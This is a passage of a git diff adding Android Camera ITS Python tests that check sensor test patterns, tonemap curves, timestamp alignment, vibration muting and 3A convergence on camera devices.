+    raise AssertionError('Image not expected value. '
+                         f'RGB means: {rgb_means}, expected: {exp_values}, '
+                         f'ATOL: {_CH_TOL}')
+  if not all(i < _CH_TOL for i in rgb_vars):
+    raise AssertionError(f'Image has too much variance. '
+                         f'RGB variances: {rgb_vars}, ATOL: {_CH_TOL}')
+
+
+class SolidColorTestPattern(its_base_test.ItsBaseTest):
+  """Solid Color test pattern generation test.
+
+    Test: Capture frame for the SOLID_COLOR test pattern with the values set
+    and check RAW image matches request.
+
+    android.sensor.testPatternMode
+    0: OFF
+    1: SOLID_COLOR
+    2: COLOR_BARS
+    3: COLOR_BARS_FADE_TO_GREY
+    4: PN9
+  """
+
+  def test_solid_color_test_pattern(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.solid_color_test_pattern(props))
+
+      # Handle MONO cameras
+      if camera_properties_utils.mono_camera(props):
+        colors_checked = _COLORS_CHECKED_MONO
+      else:
+        colors_checked = _COLORS_CHECKED_RGB
+
+      # Take extra frames if no per-frame control
+      if camera_properties_utils.per_frame_control(props):
+        num_frames = 1
+      else:
+        num_frames = _NUM_FRAMES
+
+      # Start checking patterns
+      for color in colors_checked:
+        logging.debug('Assigned RGGB values %s',
+                      str([int(c/_SAT) for c in color['RGGB']]))
+        req = capture_request_utils.auto_capture_request()
+        req['android.sensor.testPatternMode'] = camera_properties_utils.SOLID_COLOR_TEST_PATTERN
+        req['android.sensor.testPatternData'] = color['RGGB']
+        fmt = {'format': 'yuv'}
+        caps = cam.do_capture([req]*num_frames, fmt)
+        cap = caps[-1]
+        logging.debug('Capture metadata RGGB testPatternData: %s',
+                      str(cap['metadata']['android.sensor.testPatternData']))
+        # Save test pattern image
+        img = image_processing_utils.convert_capture_to_rgb_image(
+            cap, props=props)
+        image_processing_utils.write_image(
+            img, f'{os.path.join(self.log_path, _NAME)}.jpg', True)
+
+        # Check solid pattern for correctness
+        check_solid_color(img, color['RGB'])
+        logging.debug('Solid color test pattern %s is a PASS', color['color'])
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_test_patterns.py b/apps/CameraITS2.0/tests/scene0/test_test_patterns.py
new file mode 100644
index 0000000..2dcd459
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_test_patterns.py
@@ -0,0 +1,193 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import os
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+
+NAME = os.path.basename(__file__).split('.')[0]
+CHECKED_PATTERNS = [1, 2]  # [SOLID_COLOR, COLOR_BARS]
+COLOR_BAR_ORDER = ['WHITE', 'YELLOW', 'CYAN', 'GREEN', 'MAGENTA', 'RED',
+                   'BLUE', 'BLACK']
+COLOR_CHECKER = {'BLACK': [0, 0, 0], 'RED': [1, 0, 0], 'GREEN': [0, 1, 0],
+                 'BLUE': [0, 0, 1], 'MAGENTA': [1, 0, 1], 'CYAN': [0, 1, 1],
+                 'YELLOW': [1, 1, 0], 'WHITE': [1, 1, 1]}
+CH_TOL = 2E-3  # 1/2 DN in [0:1]
+
+
+def check_solid_color(cap, props):
+  """Checks for solid color test pattern.
+
+  Args:
+    cap: capture element
+    props: capture properties
+
+  Returns:
+    True/False
+  """
+  logging.debug('Checking solid TestPattern...')
+  r, gr, gb, b = image_processing_utils.convert_capture_to_planes(cap, props)
+  r_tile = image_processing_utils.get_image_patch(r, 0.0, 0.0, 1.0, 1.0)
+  gr_tile = image_processing_utils.get_image_patch(gr, 0.0, 0.0, 1.0, 1.0)
+  gb_tile = image_processing_utils.get_image_patch(gb, 0.0, 0.0, 1.0, 1.0)
+  b_tile = image_processing_utils.get_image_patch(b, 0.0, 0.0, 1.0, 1.0)
+  var_max = max(
+      np.amax(r_tile), np.amax(gr_tile), np.amax(gb_tile), np.amax(b_tile))
+  var_min = min(
+      np.amin(r_tile), np.amin(gr_tile), np.amin(gb_tile), np.amin(b_tile))
+  white_level = int(props['android.sensor.info.whiteLevel'])
+  logging.debug('pixel min: %.f, pixel max: %.f', white_level * var_min,
+                white_level * var_max)
+  return np.isclose(var_max, var_min, atol=CH_TOL)
+
+
+def check_color_bars(cap, props, mirror=False):
+  """Checks for color bar test pattern.Compute avg of bars and compare to ideal.
+
+  Args:
+    cap: capture element
+    props: capture properties
+    mirror: boolean; whether to mirror image or not
+
+  Returns:
+    True/False
+
+
+  """
+  logging.debug('Checking color bar TestPattern...')
+  delta = 0.0005
+  num_bars = len(COLOR_BAR_ORDER)
+  color_match = []
+  img = image_processing_utils.convert_capture_to_rgb_image(cap, props=props)
+  if mirror:
+    logging.debug('Image mirrored')
+    img = np.fliplr(img)
+  for i, color in enumerate(COLOR_BAR_ORDER):
+    tile = image_processing_utils.get_image_patch(img,
+                                                  float(i) / num_bars + delta,
+                                                  0.0,
+                                                  1.0 / num_bars - 2 * delta,
+                                                  1.0)
+    color_match.append(
+        np.allclose(
+            image_processing_utils.compute_image_means(tile),
+            COLOR_CHECKER[color],
+            atol=CH_TOL))
+  logging.debug(COLOR_BAR_ORDER)
+  logging.debug(color_match)
+  return all(color_match)
+
+
+def check_pattern(cap, props, pattern):
+  """Checks for pattern correctness.
+
+  Args:
+    cap: capture element
+    props: capture properties
+    pattern (int): valid number for pattern
+
+  Returns:
+    True/False
+  """
+  if pattern == 1:  # solid color
+    return check_solid_color(cap, props)
+  elif pattern == 2:  # color bars
+    striped = check_color_bars(cap, props, mirror=False)
+    # check mirrored version in case image rotated from sensor orientation
+    if not striped:
+      striped = check_color_bars(cap, props, mirror=True)
+    return striped
+  else:
+    logging.debug('No specific test for TestPattern: %d', pattern)
+    return True
+
+
+def test_test_patterns_impl(cam, props, af_fd, name):
+  """Image sensor test patterns implementation.
+
+  Args:
+    cam: An open device session.
+    props: Properties of cam
+    af_fd: Focus distance
+    name: Path to save the captured image.
+  """
+
+  avail_patterns = props['android.sensor.availableTestPatternModes']
+  logging.debug('avail_patterns: %s', avail_patterns)
+  sens_min, _ = props['android.sensor.info.sensitivityRange']
+  exposure = min(props['android.sensor.info.exposureTimeRange'])
+
+  for pattern in CHECKED_PATTERNS:
+    if pattern in avail_patterns:
+      req = capture_request_utils.manual_capture_request(
+          int(sens_min), exposure)
+      req['android.lens.focusDistance'] = af_fd
+      req['android.sensor.testPatternMode'] = pattern
+      fmt = {'format': 'raw'}
+      cap = cam.do_capture(req, fmt)
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          cap, props=props)
+      # Save pattern
+      image_processing_utils.write_image(img, '%s_%d.jpg' % (name, pattern),
+                                         True)
+
+      # Check pattern for correctness
+      assert check_pattern(cap, props, pattern)
+    else:
+      logging.debug('%d not in android.sensor.availableTestPatternModes.',
+                    (pattern))
+
+
+class TestPatterns(its_base_test.ItsBaseTest):
+  """Test pattern generation test.
+
+    Test: Capture frames for each valid test pattern and check if
+    generated correctly.
+    android.sensor.testPatternMode
+    0: OFF
+    1: SOLID_COLOR
+    2: COLOR_BARS
+    3: COLOR_BARS_FADE_TO_GREY
+    4: PN9
+  """
+
+  def test_test_patterns(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      # For test pattern, use min_fd
+      focus_distance = props['android.lens.info.minimumFocusDistance']
+      name = os.path.join(self.log_path, NAME)
+      test_test_patterns_impl(cam, props, focus_distance, name)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_tonemap_curve.py b/apps/CameraITS2.0/tests/scene0/test_tonemap_curve.py
new file mode 100644
index 0000000..0416f93
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_tonemap_curve.py
@@ -0,0 +1,210 @@
+# Copyright 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import os
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+
+NAME = os.path.basename(__file__).split('.')[0]
+COLOR_BAR_PATTERN = 2  # Note scene0/test_test_patterns must PASS
+COLOR_BARS = ['WHITE', 'YELLOW', 'CYAN', 'GREEN', 'MAGENTA', 'RED',
+              'BLUE', 'BLACK']
+N_BARS = len(COLOR_BARS)
+COLOR_CHECKER = {'BLACK': [0, 0, 0], 'RED': [1, 0, 0], 'GREEN': [0, 1, 0],
+                 'BLUE': [0, 0, 1], 'MAGENTA': [1, 0, 1], 'CYAN': [0, 1, 1],
+                 'YELLOW': [1, 1, 0], 'WHITE': [1, 1, 1]}
+DELTA = 0.0005  # crop on edge of color bars
+RAW_TOL = 0.001  # 1 DN in [0:1] (1/(1023-64)
+RGB_VAR_TOL = 0.0039  # 1/255
+RGB_MEAN_TOL = 0.1
+TONEMAP_MAX = 0.5
+YUV_H = 480
+YUV_W = 640
+# Normalized co-ordinates for the color bar patch.
+Y_NORM = 0.0
+W_NORM = 1.0 / N_BARS - 2 * DELTA
+H_NORM = 1.0
+
+# Linear tonemap with maximum of 0.5
+LINEAR_TONEMAP = sum([[i/63.0, i/126.0] for i in range(64)], [])
+
+
+def get_x_norm(num):
+  """Returns the normalized x co-ordinate for the title.
+
+  Args:
+   num: int; position on color in the color bar.
+
+  Returns:
+    normalized x co-ordinate.
+  """
+  return float(num) / N_BARS + DELTA
+
+
+def check_raw_pattern(img_raw):
+  """Checks for RAW capture matches color bar pattern.
+
+  Args:
+    img_raw: RAW image
+  """
+  logging.debug('Checking RAW/PATTERN match')
+  color_match = []
+  for n in range(N_BARS):
+    logging.debug('patch: %d', n)
+    x_norm = get_x_norm(n)
+    logging.debug('x_norm: %.3f', x_norm)
+    raw_patch = image_processing_utils.get_image_patch(img_raw, x_norm, Y_NORM,
+                                                       W_NORM, H_NORM)
+    raw_means = image_processing_utils.compute_image_means(raw_patch)
+    for color in COLOR_BARS:
+      if np.allclose(COLOR_CHECKER[color], raw_means, atol=RAW_TOL):
+        color_match.append(color)
+        logging.debug('%s', color)
+  assert set(color_match) == set(COLOR_BARS), 'RAW does not have all colors'
+
+
+def check_yuv_vs_raw(img_raw, img_yuv):
+  """Checks for YUV vs RAW match in 8 patches.
+
+  Check for correct values and color consistency
+
+  Args:
+    img_raw: RAW image
+    img_yuv: YUV image
+  """
+  logging.debug('Checking YUV/RAW match')
+  color_match_errs = []
+  color_variance_errs = []
+  for n in range(N_BARS):
+    x_norm = get_x_norm(n)
+    logging.debug('x_norm: %.3f', x_norm)
+    raw_patch = image_processing_utils.get_image_patch(img_raw, x_norm, Y_NORM,
+                                                       W_NORM, H_NORM)
+    yuv_patch = image_processing_utils.get_image_patch(img_yuv, x_norm, Y_NORM,
+                                                       W_NORM, H_NORM)
+    raw_means = np.array(image_processing_utils.compute_image_means(raw_patch))
+    raw_vars = np.array(
+        image_processing_utils.compute_image_variances(raw_patch))
+    yuv_means = np.array(image_processing_utils.compute_image_means(yuv_patch))
+    yuv_means /= TONEMAP_MAX  # Normalize to tonemap max
+    yuv_vars = np.array(
+        image_processing_utils.compute_image_variances(yuv_patch))
+    if not np.allclose(raw_means, yuv_means, atol=RGB_MEAN_TOL):
+      color_match_errs.append(
+          'RAW: %s, RGB(norm): %s, ATOL: %.2f' %
+          (str(raw_means), str(np.round(yuv_means, 3)), RGB_MEAN_TOL))
+    if not np.allclose(raw_vars, yuv_vars, atol=RGB_VAR_TOL):
+      color_variance_errs.append('RAW: %s, RGB: %s, ATOL: %.4f' %
+                                 (str(raw_vars), str(yuv_vars), RGB_VAR_TOL))
+  if color_match_errs:
+    logging.error('Color match errors:')
+    for err in color_match_errs:
+      logging.debug(err)
+  if color_variance_errs:
+    logging.error('Color variance errors:')
+    for err in color_variance_errs:
+      logging.error(err)
+  assert not color_match_errs, 'Color match errors.'
+  assert not color_variance_errs, 'Color variance errors.'
+
+
+def test_tonemap_curve_impl(name, cam, props):
+  """Test tonemap curve with sensor test pattern.
+
+  Args:
+   name: Path to save the captured image.
+   cam: An open device session.
+   props: Properties of cam.
+  """
+
+  avail_patterns = props['android.sensor.availableTestPatternModes']
+  logging.debug('Available Patterns: %s', avail_patterns)
+  sens_min, _ = props['android.sensor.info.sensitivityRange']
+  min_exposure = min(props['android.sensor.info.exposureTimeRange'])
+
+  if COLOR_BAR_PATTERN in avail_patterns:
+    # RAW image
+    req_raw = capture_request_utils.manual_capture_request(
+        int(sens_min), min_exposure)
+    req_raw['android.sensor.testPatternMode'] = COLOR_BAR_PATTERN
+    fmt_raw = {'format': 'raw'}
+    cap_raw = cam.do_capture(req_raw, fmt_raw)
+    img_raw = image_processing_utils.convert_capture_to_rgb_image(
+        cap_raw, props=props)
+
+    # Save RAW pattern
+    image_processing_utils.write_image(
+        img_raw, '%s_raw_%d.jpg' % (name, COLOR_BAR_PATTERN), True)
+    check_raw_pattern(img_raw)
+
+    # YUV image
+    req_yuv = capture_request_utils.manual_capture_request(
+        int(sens_min), min_exposure)
+    req_yuv['android.sensor.testPatternMode'] = COLOR_BAR_PATTERN
+    req_yuv['android.distortionCorrection.mode'] = 0
+    req_yuv['android.tonemap.mode'] = 0
+    req_yuv['android.tonemap.curve'] = {
+        'red': LINEAR_TONEMAP,
+        'green': LINEAR_TONEMAP,
+        'blue': LINEAR_TONEMAP
+    }
+    fmt_yuv = {'format': 'yuv', 'width': YUV_W, 'height': YUV_H}
+    cap_yuv = cam.do_capture(req_yuv, fmt_yuv)
+    img_yuv = image_processing_utils.convert_capture_to_rgb_image(cap_yuv, True)
+
+    # Save YUV pattern
+    image_processing_utils.write_image(
+        img_yuv, '%s_yuv_%d.jpg' % (name, COLOR_BAR_PATTERN), True)
+
+    # Check pattern for correctness
+    check_yuv_vs_raw(img_raw, img_yuv)
+  else:
+    logging.debug('Pattern not in android.sensor.availableTestPatternModes.')
+    assert 0
+
+
+class TonemapCurveTest(its_base_test.ItsBaseTest):
+  """Test conversion of test pattern from RAW to YUV with linear tonemap.
+
+  Test makes use of android.sensor.testPatternMode 2 (COLOR_BARS).
+  """
+
+  def test_tonemap_curve(self):
+    logging.debug('Starting %s', NAME)
+    name = os.path.join(self.log_path, NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.manual_post_proc(props))
+
+      test_tonemap_curve_impl(name, cam, props)
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_unified_timestamps.py b/apps/CameraITS2.0/tests/scene0/test_unified_timestamps.py
new file mode 100644
index 0000000..340321e
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_unified_timestamps.py
@@ -0,0 +1,85 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import time
+
+
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
+
+class UnifiedTimeStampTest(its_base_test.ItsBaseTest):
+  """Test if image and motion sensor events are in the same time domain.
+  """
+
+  def test_unified_timestamps(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Only run test if the appropriate properties are claimed.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.sensor_fusion(props) and
+          camera_properties_utils.backward_compatible(props))
+
+      # Get the timestamp of a captured image.
+      if camera_properties_utils.manual_sensor(props):
+        req, fmt = capture_request_utils.get_fastest_manual_capture_settings(
+            props)
+      else:
+        req, fmt = capture_request_utils.get_fastest_auto_capture_settings(
+            props)
+      cap = cam.do_capture(req, fmt)
+      ts_image0 = cap['metadata']['android.sensor.timestamp']
+
+      # Get the timestamps of motion events.
+      logging.debug('Reading sensor measurements')
+      sensors = cam.get_sensors()
+      cam.start_sensor_events()
+      time.sleep(2.0)
+      events = cam.get_sensor_events()
+      ts_sensor_first = {}
+      ts_sensor_last = {}
+      for sensor, existing in sensors.items():
+      # Vibrator doesn't generate outputs: b/142653973
+        if existing and sensor != 'vibrator':
+          assert events[sensor], '%s sensor has no events!' % sensor
+          ts_sensor_first[sensor] = events[sensor][0]['time']
+          ts_sensor_last[sensor] = events[sensor][-1]['time']
+
+      # Get the timestamp of another image.
+      cap = cam.do_capture(req, fmt)
+      ts_image1 = cap['metadata']['android.sensor.timestamp']
+
+      logging.debug('Image timestamps: %s , %s', ts_image0, ts_image1)
+
+      # The motion timestamps must be between the two image timestamps.
+      for sensor, existing in sensors.items():
+        if existing and sensor != 'vibrator':
+          logging.debug('%s timestamps: %d %d', sensor, ts_sensor_first[sensor],
+                        ts_sensor_last[sensor])
+          assert ts_image0 < ts_sensor_first[sensor] < ts_image1
+          assert ts_image0 < ts_sensor_last[sensor] < ts_image1
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene0/test_vibration_restriction.py b/apps/CameraITS2.0/tests/scene0/test_vibration_restriction.py
new file mode 100644
index 0000000..4146417
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene0/test_vibration_restriction.py
@@ -0,0 +1,111 @@
+# Copyright 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import math
+import time
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import its_session_utils
+
+
+# if the var(x) > var(stable) * this threshold, then device is considered
+# vibrated.Test results shows the variance difference is larger for higher
+# sampling frequency.This threshold is good enough for 50hz samples.
+THRESHOLD_VIBRATION_VAR = 10.0
+
+# Match CameraDevice.java constant
+AUDIO_RESTRICTION_VIBRATION = 1
+
+# The sleep time between vibrator on/off to avoid getting some residual
+# vibrations
+SLEEP_BETWEEN_SAMPLES_SEC = 0.5
+# The sleep time to collect sensor samples
+SLEEP_COLLECT_SAMPLES_SEC = 1.0
+PATTERN_MS = [0, 1000]
+
+
+def calc_magnitude(e):
+  x = e['x']
+  y = e['y']
+  z = e['z']
+  return math.sqrt(x * x + y * y + z * z)
+
+
+class VibrationRestrictionTest(its_base_test.ItsBaseTest):
+  """Test vibrations can be muted by the camera audio restriction API."""
+
+  def test_vibration_restriction(self):
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      sensors = cam.get_sensors()
+
+      camera_properties_utils.skip_unless(
+          sensors.get('accel') and sensors.get('vibrator'))
+
+      cam.start_sensor_events()
+      cam.do_vibrate(PATTERN_MS)
+      test_length_second = sum(PATTERN_MS) / 1000
+      time.sleep(test_length_second)
+      events = cam.get_sensor_events()
+      logging.debug('Accelerometer events over %ds: %d ', test_length_second,
+                    len(events['accel']))
+      times_ms = [e['time'] / float(1e6) for e in events['accel']]
+      t0 = times_ms[0]
+      times_ms = [t - t0 for t in times_ms]
+      magnitudes = [calc_magnitude(e) for e in events['accel']]
+      var_w_vibration = np.var(magnitudes)
+
+      time.sleep(SLEEP_BETWEEN_SAMPLES_SEC)
+      cam.start_sensor_events()
+      time.sleep(SLEEP_COLLECT_SAMPLES_SEC)
+      events = cam.get_sensor_events()
+      magnitudes = [calc_magnitude(e) for e in events['accel']]
+      var_wo_vibration = np.var(magnitudes)
+
+      if var_w_vibration < var_wo_vibration * THRESHOLD_VIBRATION_VAR:
+        logging.debug(
+            'Warning: unable to detect vibration, variance w/wo'
+            'vibration too close: %f/%f. Make sure device is on'
+            'non-dampening surface', var_w_vibration, var_wo_vibration)
+
+      time.sleep(SLEEP_BETWEEN_SAMPLES_SEC)
+      cam.start_sensor_events()
+      cam.set_audio_restriction(AUDIO_RESTRICTION_VIBRATION)
+      cam.do_vibrate(PATTERN_MS)
+      time.sleep(SLEEP_COLLECT_SAMPLES_SEC)
+      events = cam.get_sensor_events()
+      magnitudes = [calc_magnitude(e) for e in events['accel']]
+      var_w_vibration_restricted = np.var(magnitudes)
+
+      logging.debug(
+          'Accel variance with/without/restricted vibration (%f, %f, %f)',
+          var_w_vibration, var_wo_vibration, var_w_vibration_restricted)
+
+      e_msg = 'Device vibrated while vibration is muted'
+      vibration_variance = var_w_vibration_restricted < (
+          var_wo_vibration * THRESHOLD_VIBRATION_VAR)
+      assert vibration_variance, e_msg
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_1/scene1_1.pdf b/apps/CameraITS2.0/tests/scene1_1/scene1_1.pdf
new file mode 100644
index 0000000..7e47bcf
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/scene1_1.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.5x_scaled.pdf
new file mode 100644
index 0000000..4bf85ee
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.67x_scaled.pdf
new file mode 100644
index 0000000..a9a2fbc
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_3a.py b/apps/CameraITS2.0/tests/scene1_1/test_3a.py
new file mode 100644
index 0000000..df83687
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_3a.py
@@ -0,0 +1,70 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import its_session_utils
+
+AWB_GAINS_LENGTH = 4
+AWB_XFORM_LENGTH = 9
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+
+
+class ThreeATest(its_base_test.ItsBaseTest):
+  """Test basic camera 3A behavior.
+
+  To pass, 3A must converge. Check that returned 3A values are valid.
+  """
+
+  def test_3a(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props))
+      mono_camera = camera_properties_utils.mono_camera(props)
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Do 3A and evaluate outputs
+      s, e, awb_gains, awb_xform, focus = cam.do_3a(
+          get_results=True, mono_camera=mono_camera)
+      logging.debug('AWB: gains %s, xform %s', str(awb_gains), str(awb_xform))
+      logging.debug('AE: sensitivity %d, exposure %dns', s, e)
+      logging.debug('AF: distance %.3f', focus)
+
+      assert len(awb_gains) == AWB_GAINS_LENGTH
+      for g in awb_gains:
+        assert not np.isnan(g)
+      assert len(awb_xform) == AWB_XFORM_LENGTH
+      for x in awb_xform:
+        assert not np.isnan(x)
+      assert s > 0
+      assert e > 0
+      assert focus >= 0
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_ae_af.py b/apps/CameraITS2.0/tests/scene1_1/test_ae_af.py
new file mode 100644
index 0000000..ded6c51
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_1/test_ae_af.py
@@ -0,0 +1,104 @@
+# Copyright 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import error_util
+import its_session_utils
+
+AWB_GAINS_LENGTH = 4
+AWB_XFORM_LENGTH = 9
+G_CHANNEL = 2
+G_GAIN = 1.0
+G_GAIN_TOL = 0.05
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+THREE_A_STATES = {'AE': [True, False, True],
+                  'AF': [False, True, True],
+                  'FULL_3A': [True, True, True]}  # note no AWB solo
+
+
+class SingleATest(its_base_test.ItsBaseTest):
+  """Test basic camera 3A behavior with AE and AF run individually.
+
+  To pass, 3A must converge. Check that returned 3A values are valid.
+  """
+
+  def test_ae_af(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props))
+      mono_camera = camera_properties_utils.mono_camera(props)
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Do AE/AF/3A and evaluate outputs
+      for k, three_a_req in sorted(THREE_A_STATES.items()):
+        logging.debug('Trying %s', k)
+        try:
+          s, e, awb_gains, awb_xform, fd = cam.do_3a(get_results=True,
+                                                     do_ae=three_a_req[0],
+                                                     do_af=three_a_req[1],
+                                                     do_awb=three_a_req[2],
+                                                     mono_camera=mono_camera)
+
+        except error_util.CameraItsError:
+          logging.error('%s did not converge.', k)
+
+        logging.debug('AWB gains: %s, xform: %s', str(awb_gains),
+                      str(awb_xform))
+        if three_a_req[0]:  # can report None for AF only
+          assert e, 'No valid exposure time returned even though do_ae.'
+          assert s, 'No valid sensitivity returned even though do_ae.'
+          logging.debug('AE sensitivity: %d, exposure: %dns', s, e)
+        else:
+          logging.debug('AE sensitivity: None, exposure: None')
+        if three_a_req[1]:  # fd can report None for AE only
+          logging.debug('AF fd: %.3f', fd)
+        else:
+          logging.debug('AF fd: None')
+        # check AWB values
+        assert len(awb_gains) == AWB_GAINS_LENGTH
+        for g in awb_gains:
+          assert not np.isnan(g)
+        assert len(awb_xform) == AWB_XFORM_LENGTH
+        for x in awb_xform:
+          assert not np.isnan(x)
+        assert np.isclose(awb_gains[G_CHANNEL], G_GAIN, G_GAIN_TOL)
+
+        # check AE values
+        if k == 'full_3a' or k == 'ae':
+          assert s > 0
+          assert e > 0
+
+        # check AF values
+        if k == 'full_3a' or k == 'af':
+          assert fd >= 0
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_ae_precapture_trigger.py b/apps/CameraITS2.0/tests/scene1_1/test_ae_precapture_trigger.py
new file mode 100644
index 0000000..963b629
--- /dev/null
